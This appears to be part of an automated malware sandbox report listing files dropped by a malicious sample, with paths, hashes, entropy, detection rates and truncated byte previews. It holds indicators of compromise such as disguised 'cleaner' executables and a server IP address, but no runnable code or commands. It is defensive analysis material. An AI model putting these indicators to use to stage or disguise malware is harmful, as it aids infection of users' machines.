Entropy (8bit):	6.507169888543066
Encrypted:	false
SSDEEP:	12288:Vhu7eEcdCP8trP837szHUA6JCzS9Ntc3l3ER6orNjURrFDExyFk:nu7eEYCP8trP837szHUA60SLtcV3E9GY
MD5:	7F4F86C20B4CFF7FC4CA22F20D8011C9
SHA1:	D9F6675B1F13E53CCA4F752A5F7620C3FAF44BB9
SHA-256:	C2CEA37B64EFD3B8B06502C1B4DCAC2AD84D117BB03845CF4EFDFE80315E9380
SHA-512:	9F4C46280AB5AF49D75F9C26EA737CC4E017FD5261663D3E990F93E5A36CCAB03CA0F6243DFDC6A2CD4A27B7865E1B44B806A9EB230CFEE9B4AA0F0CFD924377
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................x..........x.............@..............................................@...............................%..................................................................................................................CODE.....w.......x.................. ..`DATA.................\|..............@...BSS.....l................................idata...%.......&..................@....tls.....................................rdata..............................@..P.reloc....... ......................@..P.rsrc...............................@..P.....................^..............@..P........................................................................................................................................

C:\Users\user\AppData\Local\Temp\1u2wN0W4Z43Z310SAYDV85NF4w4\Bunifu_UI_v1.5.3.dll

Download File

Process:	C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	242176
Entropy (8bit):	6.47050397947197
Encrypted:	false
SSDEEP:	6144:SIQpxILDXGGMO7Ice9C5kQw2hWHcHTykhb:SIQpxILDXGGlET9n/cHG
MD5:	2ECB51AB00C5F340380ECF849291DBCF
SHA1:	1A4DFFBCE2A4CE65495ED79EAB42A4DA3B660931
SHA-256:	F1B3E0F2750A9103E46A6A4A34F1CF9D17779725F98042CC2475EC66484801CF
SHA-512:	E241A48EAFCAF99187035F0870D24D74AE97FE84AAADD2591CCEEA9F64B8223D77CFB17A038A58EADD3B822C5201A6F7494F26EEA6F77D95F77F6C668D088E6B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Jl.X...........!..................... ........... ....................... ............@.....................................W.................................................................................... ............... ..H............text...4.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........`..4e...........U..............................................}.Y.y.=.{.X.x.=..r...p.o2....o...(3.....o2...}....:..s.....(...........2r...p(;...&Vr...p.....r...p.......(....>.........}.......(C.....o...(D...(E...}.....(F...(E...(G...&>.........}.......(C.....o...(D...}.....(F...(E...(H...&".......>.........}....R..} .....{ ...oo.....{ ..."..}!.....{!......}.....{#....{....op....{....,...{ ...oo.....{!...oo.....{....B.....su...(v.....{#....{#...

C:\Users\user\AppData\Local\Temp\1u2wN0W4Z43Z310SAYDV85NF4w4\Y-Cleaner.exe

Download File

Process:	C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1502720
Entropy (8bit):	7.646111739368707
Encrypted:	false
SSDEEP:	24576:7i4dHPD/8u4dJG/8yndSzGmTG2/mR2SGeYdc0GmTG2/mR6Trr2h60qP:7rPD/8I/8ly+Zrr2h60qP
MD5:	A8CF5621811F7FAC55CFE8CB3FA6B9F6
SHA1:	121356839E8138A03141F5F5856936A85BD2A474
SHA-256:	614A0362AB87CEE48D0935B5BB957D539BE1D94C6FDEB3FE42FAC4FBE182C10C
SHA-512:	4479D951435F222CA7306774002F030972C9F1715D6AAF512FCA9420DD79CB6D08240F80129F213851773290254BE34F0FF63C7B1F4D554A7DB5F84B69E84BDD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..._............"...0..0...........O... ...`....@.. .......................@............`.................................LO..O....`...................... ......0O............................................... ............... ..H............text..../... ...0.................. ..`.rsrc.......`.......2..............@..@.reloc....... ......................@..B.................O......H.......h~...D......U... .................................................(......(.....~....-.r...p.....(....o....s.........~.....~...........j(....r=..p~....o....t....j(....rM..p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t.....~......(....Vs....(....t.........N.(.....(.....(........0..f.......(.........8M........o....9:....o.......o.......-a.{......<...%..o.....%.

C:\Users\user\AppData\Local\Temp\7zS1DF8.tmp\Install.exe

Download File

Process:	C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6671830
Entropy (8bit):	7.996103500484521
Encrypted:	true
SSDEEP:	98304:91OSWt5QkEdjxhRi91Iu++bQbpJP73OlAKdycONpM48rfTwIMYKLnzkqcUV7mutY:91OS2f+u+7KdVOI48r8KKL2wztQkEQqh
MD5:	9C515DE25DB156F66F31A9D3B1E72FC2
SHA1:	0CCB1EDA75D0799B69CAE4DB3E32C53BE41DDEBF
SHA-256:	9ADA09C47B434828451CA4176541E86A4F979DA762C8D07F03BB631DC674D62E
SHA-512:	CF65B9F9AD0D33DD8330EF0A2FEC71CF486417879034D0FC808B449CFD6ADD40281B6DB6A49D031DD6E8BB78528E78E351251B5E7934DD9CFC723A438B1B7E94
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7zS1DF8.tmp\data\config.txt

Download File

Process:	C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe
File Type:	data
Category:	dropped
Size (bytes):	782781
Entropy (8bit):	7.999769311117491
Encrypted:	true
SSDEEP:	12288:zCUhQNXF6EsOtPCUwsam4LuCnabGi/D8nUhMR+fA6CEffbmTPGcEDZ8VoXeo8zGc:NhQxF6EsOBCUxb4LRab1D8bRYKTPGv8L
MD5:	905258DD5C106386BE74B5604FFDD1DC
SHA1:	F944F732351DACAE4232AD19D04BE9D1688609F0
SHA-256:	50B194FFA4A13AD40AB0D3915A1EE283508B5DC0DCC43B2BF08C70A0D3B99490
SHA-512:	ED9D0C10801B7D34346BF2FC3534582C601E9D8C776D7CBAD83F4B46552B521C6C3756AB920B8C5942B3B62EC04B086CDBF81AD7B26B311F31C124DC7CCDCA2C
Malicious:	false
Preview:	.....b.gv.%U5..4 R ...W.:Fn...&.......f...oR..?....+.Q....-.S._.2......j.(...X....(....m...Z...y7\|....a...i;g.2..9.{.0.....y.gs......d?I.B..h ..h.w".:.@....n%.3._+..W...._b$.5z.0..L...I.P=o...../~$W...n...]o....u...H..../a.GJ.yz.. .Sn.v..f.f.....}-.4.".k.....8...5...^......Fe..$.. F...MX.Q.6.....d...F9h.=.A.n..>..O.b..Z?A.)......5zR<...7@do......m[hcE.r...v...e+.=...iG........_V.%.@.].%X^...Q.'\|.\...4.v.......F......{.....lB.S..i%.2.U....T......rQ.)I27Ps\|..d...$....yx%..G..~.._\.3C^.P(5...I~..(..z.pM......}.[.xR...k.X.$V...e/..X.+.,.....k.....ua....l}#E.!.PV...).E....$..B.....K. \|i..b@&.w..h..9k.}....1..T...8E.........G......3...Z....W.\|.d......Tx.....g..E...8...L_k+..c...p.Qz..%X.......h.>...Y.~.%.)..]..)1.....u..../....._b.!.tOA8..U2x..>-~..6....(.kXKH.(...O#.r.F.NZ..Cah).#.....-<6G*.9..CF..4..o,.P....._......:..p..i...?..O.\.&ev ...R+..A..\|.o..!..S..x....A\|..?"...!..-....\../.w..2f.u.+U"..v...-?j.\+).$...PL.....\.O...,b.}..

C:\Users\user\AppData\Local\Temp\7zS2897.tmp\Install.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\7zS1DF8.tmp\Install.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6944256
Entropy (8bit):	7.7624604533821975
Encrypted:	false
SSDEEP:	98304:VtKjWoyofcc2jLME4YuHQQrka+nm9fklq3i7h6N7F4QKYlZziqbO1Ybiy:Vt0A5DvMEtuZFfks3i7kFOYDZbL
MD5:	E40A23C70027A430F5BFC33BCE6E82F5
SHA1:	EE27646C5A5867F2B6D66A704CB0338C1E7A99D2
SHA-256:	559892F19412DDD5EE31B3D6FC0286420C198E09D409C5F6AA01C42DC3DA38C3
SHA-512:	C2F0EB3FB6FF213F71A1703F942D3794C9491535096C56F60811E2490EAA8046FB5616A90509C03BD9B1CECC5F629049979F8EE208A433BA40794C2956145B35
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b`.............Q......Q......Q.....L..............$.....$......Rich....................PE..L......a....................."`.....N........0....@...........................j......~j...@...................................i..............................@j..7..................................8^i.@.............i..............................text...a........................... ..`.data....._..0...p_.................@....idata... ....i.."....i.............@..@.CzBLM....... j.......i.............@....reloc...7...@j..8....i.............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IZImiIFXXrvtVOHFozZW.dll

Download File

Process:	C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	315803136
Entropy (8bit):	0.05434753529749484
Encrypted:	false
SSDEEP:	49152:TTGv1WxnKPxX8L1111111111111111111111111111111111111111111111R:T6V18
MD5:	220AAD81B012673AD31832ECE7614AE1
SHA1:	AC0FE21347575ADC2E9DB64E9BB79271E543164C
SHA-256:	E89B892A639E4C8AD105F6E2C3282D5D4B79926868C6AA244294EABF01F2C625
SHA-512:	5B469F034C7C7194445BD4F679E54F95D0121BEAAAC8BE715E705AF940915F6C37C107AAEA3B5F3DC2C6E1124B8B00A10EE0313725957C6EB4422340617C32FA
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f...........#...(..........................$k.........................@.......`....@... .........................`.......................................@z...........................=.........................t............................text...8...........................`..`.data...............................@....rdata..0...........................@..@.eh_framX...........................@..@.bss.........p...........................edata..`............:..............@..@.idata...............<..............@....CRT....,............F..............@....tls.................H..............@....reloc..@z.......\|...J..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d5vv5z4j.t2x.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fro4flp3.50u.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_my22li2s.0uu.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nvosx4kc.irw.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\is-8OGEE.tmp\_isetup\_RegDLL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	4.026670007889822
Encrypted:	false
SSDEEP:
MD5:	0EE914C6F0BB93996C75941E1AD629C6
SHA1:	12E2CB05506EE3E82046C41510F39A258A5E5549
SHA-256:	4DC09BAC0613590F1FAC8771D18AF5BE25A1E1CB8FDBF4031AA364F3057E74A2
SHA-512:	A899519E78125C69DC40F7E371310516CF8FAA69E3B3FF747E0DDF461F34E50A9FF331AB53B4D07BB45465039E8EBA2EE4684B3EE56987977AE8C7721751F5F9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.....................H................\|.......\|.......\|......Rich............PE..L....M;J..................................... ....@..........................@..............................................l ..P....0..@............................................................................ ..D............................text............................... ..`.rdata....... ......................@..@.rsrc...@....0......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-8OGEE.tmp\_isetup\_iscrypt.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2560
Entropy (8bit):	2.8818118453929262
Encrypted:	false
SSDEEP:
MD5:	A69559718AB506675E907FE49DEB71E9
SHA1:	BC8F404FFDB1960B50C12FF9413C893B56F2E36F
SHA-256:	2F6294F9AA09F59A574B5DCD33BE54E16B39377984F3D5658CDA44950FA0F8FC
SHA-512:	E52E0AA7FE3F79E36330C455D944653D449BA05B2F9ABEE0914A0910C3452CFA679A40441F9AC696B3CCF9445CBB85095747E86153402FC362BB30AC08249A63
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........W.c.W.c.W.c...>.T.c.W.b.V.c.R.<.V.c.R.?.V.c.R.9.V.c.RichW.c.........................PE..L....b.@...........!......................... ...............................@......................................p ..}.... ..(............................0....................................................... ...............................text............................... ..`.rdata....... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-8OGEE.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.215994423157539
Encrypted:	false
SSDEEP:
MD5:	4FF75F505FDDCC6A9AE62216446205D9
SHA1:	EFE32D504CE72F32E92DCF01AA2752B04D81A342
SHA-256:	A4C86FC4836AC728D7BD96E7915090FD59521A9E74F1D06EF8E5A47C8695FD81
SHA-512:	BA0469851438212D19906D6DA8C4AE95FF1C0711A095D9F21F13530A6B8B21C3ACBB0FF55EDB8A35B41C1A9A342F5D3421C00BA395BC13BB1EF5902B979CE824
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d...XW:J..........#............................@.............................`..............................................................<!.......P..@....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...@....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-8OGEE.tmp\_isetup\_shfoldr.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	23312
Entropy (8bit):	4.596242908851566
Encrypted:	false
SSDEEP:
MD5:	92DC6EF532FBB4A5C3201469A5B5EB63
SHA1:	3E89FF837147C16B4E41C30D6C796374E0B8E62C
SHA-256:	9884E9D1B4F8A873CCBD81F8AD0AE257776D2348D027D811A56475E028360D87
SHA-512:	9908E573921D5DBC3454A1C0A6C969AB8A81CC2E8B5385391D46B1A738FB06A76AA3282E0E58D0D2FFA6F27C85668CD5178E1500B8A39B1BBAE04366AE6A86D3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......IzJ^..$...$...$...%.".$.T87...$.[."...$...$...$.Rich..$.........................PE..L.....\;...........#..... ...4.......'.......0.....q....................................................................k...l)..<....@.../...................p..T....................................................................................text...{........ .................. ..`.data...\....0.......&..............@....rsrc..../...@...0...(..............@..@.reloc.......p.......X..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp

Download File

Process:	C:\Users\user\Documents\iofolko5\hI6pMK6rYY2urO_lpGyU85DA.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	709120
Entropy (8bit):	6.498748622618346
Encrypted:	false
SSDEEP:
MD5:	887F3C5F3FC423C9507F5E7EA59B72DB
SHA1:	D69231F8E3BE8BC2FE0B2B3F8DC2DC1A6B85AD89
SHA-256:	937FC0EEB24BCF1D9F27FCB05138986F6D890212AB6ADCED36FB76E8E615DAFA
SHA-512:	044F14BBA8EFE8A0B4B88CAD38053CED56305199CBF35CC4CEF54F447DA332B4AD4A09EE03AD320497B9D964AD8A0FFDCFFEE6F7162984B62594A9039AA36474
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................x..........x.............@..............................................@...............................%..................................................................................................................CODE.....w.......x.................. ..`DATA.................\|..............@...BSS.....l................................idata...%.......&..................@....tls.....................................rdata..............................@..P.reloc....... ......................@..P.rsrc...............................@..P.....................^..............@..P........................................................................................................................................

C:\Users\user\AppData\Local\Temp\service123.exe

Download File

Process:	C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	314617856
Entropy (8bit):	0.0023405989925417807
Encrypted:	false
SSDEEP:
MD5:	F48DE3A26F00253050481FA7F5CD3EC3
SHA1:	6CEE0DEDD2117589F1DDCBD162165B66EC8A421D
SHA-256:	8C909FBA9151A9D636A3430A5D4149F0D22817267D97CECDFA48953B2B7D7452
SHA-512:	12BCFCD5693566B021E7C2E4D16FB81FF4DAE519CB1931449F8E1896D63DBE9780630EE06243FC02FC8E0479F0BF6272FF301E983AB7762383CAE5A232AB8449
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f...............(.v........................@.......................... ...........@... .................................................................d...........................D.......................T................................text....t.......v..................`..`.data...T............z..............@....rdata...............\|..............@..@.eh_fram............................@..@.bss....t................................idata..............................@....CRT....0...........................@....tls................................@....reloc..d...........................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\Cleaner.lnk

Download File

Process:	C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Icon number=0, Archive, ctime=Sat Sep 28 21:54:19 2024, mtime=Sat Sep 28 21:54:19 2024, atime=Sat Sep 28 21:54:19 2024, length=1502720, window=hide
Category:	dropped
Size (bytes):	2223
Entropy (8bit):	3.9218511925904913
Encrypted:	false
SSDEEP:
MD5:	18CEC77D6A8D5CEA7E1BF8F84F689418
SHA1:	25F3FE544034E72C043C767285063936B22B7FA8
SHA-256:	8D752C395C160133646C3AE7BA056DA2B2D3DA4C8871E8B7DF85EF6E59A36EC7
SHA-512:	5245CAB0D76F72204FC922A6B2A1FAFADD156D1968DBC4F279DE6AAA28762C61F577AA8D294E140573FD155F6748CAE469B336D2C7DF95A12227F3F0A9F14EC3
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...P#.Z....P#.Z....P#.Z............................D.:..DG..Yr?.D..U..k0.&...&.......bBDj............q.Z........t...CFSF..1.....EWsG..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EWsG<Y............................=...A.p.p.D.a.t.a...B.P.1.....<Y....Local.<......EWsG<Y...........................,s..L.o.c.a.l.....N.1.....<Y....Temp..:......EWsG<Y............................Rq.T.e.m.p.......1.....<Y...1U2WN0~1..h......<Y.<Y............................Q..1.u.2.w.N.0.W.4.Z.4.3.Z.3.1.0.S.A.Y.D.V.8.5.N.F.4.w.4.....h.2.....<Y. .Y-CLEA~1.EXE..L......<Y.<Y.....R......................Rq.Y.-.C.l.e.a.n.e.r...e.x.e.......y...............-.......x............r.h.....C:\Users\user\AppData\Local\Temp\1u2wN0W4Z43Z310SAYDV85NF4w4\Y-Cleaner.exe....M.a.k.e. .y.o.u.r. .P.C. .f.a.s.t.e.r.?.....\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.1.u.2.w.N.0.W.4.Z.4.3.Z.3.1.0.S.A.Y.D.V.8.5.N.F.4.w.4.\.Y.-.C.l.e.a.n.e.r...e.x.e.J.C.:.\.U.s.e.r.s.\.t.i.n.a.\.A.p.p.D.a.t.a.\.L.o.c.a

C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	9969664
Entropy (8bit):	2.7737530246461977
Encrypted:	false
SSDEEP:
MD5:	18E1D0F8B01CEAE85D5D7136C4CF751A
SHA1:	6D79A8CB0795D48DDF9BCF3FF97AF16A4508F770
SHA-256:	D73BEA0EAEC1C09FE508F58746A99586C3369BE41D08845BA12764A4B2F2A147
SHA-512:	22F0CBBF9BCB2F5A1486CF0311EA298950A757AF5EB2FBCA0CF41CD8513B471EEDC81A83DB72D99D06CD7AA64D44AD836616F2115E622521A76CF0E90BFFA0D4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 24%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...~..f...............(..+...................,...@.......................................@... .........................B....................................@...;..........................$........................................................text.....+.......+.................`..`.data.....g...,...g...,.............@....rdata..T.... ......................@..@.eh_fram.!......."..................@..@.bss....t...............................edata..B..........................@..@.idata.............................@....CRT....0.... ......................@....tls.........0.....................@....reloc...;...@...<.................@..B................................................................................................................................................................................................................................

C:\Users\user\Documents\iofolko5\Ifh3vuF2SF2LvHombSP7ZGRi.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6129152
Entropy (8bit):	6.456806489633868
Encrypted:	false
SSDEEP:
MD5:	447DE2327DC8ECD4830023A7D6C8ED64
SHA1:	5728F8C965AC1E71D373FEEDAFDFD5B4528DD8EF
SHA-256:	4F05A7585561EB31272758ECF586E5DCBE1B1064A4F59F9E1189B5A6DBABF90B
SHA-512:	9D3B8BAF0353C97E191EF6B546E101129C86720A6EF19FEBEB3C4E451E25E0F8A327FD69B73846F8A01306875B6B19A1717B45E6D1B5D9584155EA31F25AC551
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 26%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.........\...............)..........)........V...@...........................`......;^...@..................................p].L....._.......................].......................................................V..............................text.....).......)................. ..`.rdata... -...).."-...).............@..@.data.........V.......V.............@....idata..L....p]......\|Z.............@....reloc........].......Z.............@..B.symtab......._.......\................B.rsrc........._.......\.............@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7620947
Entropy (8bit):	7.996947821567556
Encrypted:	true
SSDEEP:
MD5:	5B9E9580BB4E446ABE9EDBC7556E0D32
SHA1:	6E3DEB74A53B217252645A08C30720C79EF41249
SHA-256:	DF694BD80A1C5DC6AC86EF949A4FAB087857B1A9808E7B78BE8546ED0F318835
SHA-512:	EEBE5A138CB0AB039682923049A62850E43AE95BE550CD7B9892AF9D938E6B3D6D5831D9FFAE1532AC5F03F81BD67C707EA983ACF7AFAD04DC226FE597388184
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\iofolko5\PXmC5_sqNQv8jWyecSd7ycvv.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	301
Entropy (8bit):	5.317814971201212
Encrypted:	false
SSDEEP:
MD5:	80E238AAF61301785FAC44E9E7E21FB3
SHA1:	A91D7A47B22219A33EEC684CB11711FCFA9D2CAB
SHA-256:	23EB00FC9D25042DEC9A2456623A4F19C282D878ECE26D4A31A732D6D76EB234
SHA-512:	AF69D12F2D7C03DDD4C5A3B203B017EBC8E90CBDCFDC133CC789E1DEF1BD82ED5E7D582B5529D00E19D9298E398A15EC7180B1B4C540FF34BA87DF51DA104DB9
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>404 Not Found</title>.</head><body>.<h1>Not Found</h1>.<p>The requested URL was not found on this server.</p>.<hr>.<address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Server at 103.130.147.211 Port 80</address>.</body></html>.

C:\Users\user\Documents\iofolko5\VUi4VlAeU5mHTySwb10PMAu9.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	301
Entropy (8bit):	5.317814971201212
Encrypted:	false
SSDEEP:
MD5:	80E238AAF61301785FAC44E9E7E21FB3
SHA1:	A91D7A47B22219A33EEC684CB11711FCFA9D2CAB
SHA-256:	23EB00FC9D25042DEC9A2456623A4F19C282D878ECE26D4A31A732D6D76EB234
SHA-512:	AF69D12F2D7C03DDD4C5A3B203B017EBC8E90CBDCFDC133CC789E1DEF1BD82ED5E7D582B5529D00E19D9298E398A15EC7180B1B4C540FF34BA87DF51DA104DB9
Malicious:	false
Reputation:	unknown
